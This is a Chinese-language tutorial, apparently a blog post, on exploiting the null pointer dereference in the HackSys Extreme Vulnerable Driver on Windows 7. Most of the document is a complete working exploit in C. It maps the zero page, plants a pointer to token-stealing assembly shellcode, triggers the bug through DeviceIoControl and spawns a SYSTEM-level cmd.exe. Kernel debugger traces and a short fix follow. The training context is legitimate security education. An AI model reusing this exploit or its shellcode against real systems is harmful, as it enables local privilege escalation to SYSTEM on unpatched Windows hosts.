0x00 前言
Windows内核系列:
## 0x01漏洞原理
解引用:
测试示例源码
#include <iostream>
using namespace std;
int main(){
int *p ,a=6;
p=&a;
cout<<p<<endl; //没有解引用,输出a的内存地址
cout<<*p<<endl; //解引用,输出a指向的值
return 0;
}
生成:
0058FB04
6
所以当*p
为NULL
,且被引用时,我们可以申请0x00000000
内存空间,然后重写0x00000000
地址的指针指向我们的shellcode
进而达到利用
0x02 漏洞缺陷定位
漏洞分析
函数调用流程:先判断我们传入的值地址是否在Ring3
中,然后申请一块池空间,然后判断传入值是否为0xBAD0B0B0
,相等则将申请的池空间首地址数据写为0xBAD0B0B0
,然后将池空间首地址重写为指向NullPointerDereferenceObjectCallback
的地址,不相等则将申请的池空间释放然后设置为NULL
,然后没有做验证就直接引用NullPointerDereference->Callback()
,所以错误就在此处了,当指针值为NULL
,但是被调用为指向某块地址,所以存在Null指针引用缺陷。
- 从伪代码上看,可以看到上面第37行直接调用了0x00000004
这个地址指向的数据作为函数起点来执行,但根据经验来说,这实际是个解引用。
下面是漏洞函数TriggerNullPointerDereference
的调用流程
0x03 溢出利用
根据上面的分析我们可以得知,只要传入的地址值不为0xBAD0B0B0
,然后申请一个零页的内存空间0x0~0xFFF
,然后将我们的指向shellcode
函数的指针放在0x00000004
,然后调用TriggerNullPointerDereference
即可触发缺陷利用,在Win7中我们可以使用NtAllocateVirtualMemory
来申请到零页的内存空间。
EXP如下:(release模式、win32生成即可)
#include<stdio.h>
#include<Windows.h>
#define Null_Pointer_Dereference 0x22202b
HANDLE hDevice = NULL;
typedef NTSTATUS
(WINAPI* nNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
nNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
BOOL init() //载入驱动HEVD.sys
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID Cmd() //一个调用本进程Token创建CMD的函数
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
VOID Exec_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1; //这里是传入的指针指向内容不为0xBAD0B0B0进而调用else的代码
*(PVOID*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x8;
printf("[+]Started to alloc zero page...\n");
if (NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE) < NULL || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x4) = (DWORD)& ShellCode;
DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Exec_shellcode();
printf("[+]Start to Create cmd...\n");
Cmd();
system("pause");
return 0;
}
利用成功:
获取TriggerNullPointerDereference
的IOCTL
根据IDA分析可得0x22202B
#define Null_Pointer_Dereference 0x22202B
调用NtAllocateVirtualMemory
函数申请内存空间
一般来说我们常用的申请内存空间函数都是:VirtualAlloc
,但是这个函数是不允许在零页上申请内存空间的,所以我们需要使用到NtAllocateVirtualMemory
来申请内存空间
- 创建
NtAllocateVirtualMemory
的函数形参指针
typedef NTSTATUS
(WINAPI* nNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
- 从
ntdll
上获取到NtAllocateVirtualMemory
的函数地址
```
nNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
(PVOID)& NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),"NtAllocateVirtualMemory");
3. 调用`NtAllocateVirtualMemory`
- 当参数2设置为1时,将会自动向下取整整个页面大小,写入0时则由系统来给你定,我们这里是0页,所以要自己定位置
PVOID Zero_addr = (PVOID)1;
- 配置申请的内存空间
SIZE_T RegionSize = 0x8; //申请的内存空间大小跟一个内存地址长度即可
- 调用`NtAllocateVirtualMemory`
NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)
#### 在申请的0页内存空间上重写`0x00000004`指针
即:将0x00000004内存覆盖为shellcode函数的地址
(DWORD)(0x4) = (DWORD)& ShellCode;
#### 获取系统进程Token进行提权
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
#### 执行利用
DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
#### 创建一个本进程Token的CMD进程
static VOID Cmd() //一个调用本进程Token创建CMD的函数
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
### 动态调试分析
- 找到`TriggerNullPointerDereference`地址
kd> x HEVD!TriggerNullPointerDereference
969ddade HEVD!TriggerNullPointerDereference (void *)
- 找到IDA分析到的函数调用入口
即:
((void (*)(void))v1[1])();
它的反汇编为:
PAGE:00445C1E add esp, 0Ch
PAGE:00445C21 call dword ptr [edi+4]
PAGE:00445C24 jmp short loc_445C4D
kd> u 969ddade+140 l 10
969ddc1e 83c40c add esp,0Ch
969ddc21 ff5704 call dword ptr [edi+4]
969ddc24 eb27 jmp HEVD!TriggerNullPointerDereference+0x16f (969ddc4d)
969ddc26 8b45ec mov eax,dword ptr [ebp-14h]
969ddc29 8b00 mov eax,dword ptr [eax]
969ddc2b 8b00 mov eax,dword ptr [eax]
969ddc2d 8945e4 mov dword ptr [ebp-1Ch],eax
969ddc30 33c0 xor eax,eax
.......
- 在入口下断点
bp 969ddc1e
- 运行虚拟机,运行我们的`exp.exe`文件触发断点
- p步过
![image05.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/01/11/abc7d618-c549-4900-9909-56b4fb31390e.png)
上图可以看到当我们到达`call dword ptr [edi+4]`这条指令时的edi为`0x00000000`,所以这里就是我们的漏洞缺陷位置
我们查看0x00000000的内存空间情况
kd> dd 0x00000000
00000000 00000000 011c1040 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000
可以知道`0x00000004`即为我们载入的shellcode地址
- t步入查看是否已经执行到我们的shellcode上
![image06.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/01/11/eb1ed6f5-026f-42a4-8aa7-9bba49222a41.png)
可以看到我们已经执行到我们的shellcode上
## 0x04 修复方案
添加`NullPointerDereference`的检测是否为NULL的判断
if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
```
历史CVE:
- CVE-2018-8120
参考链接: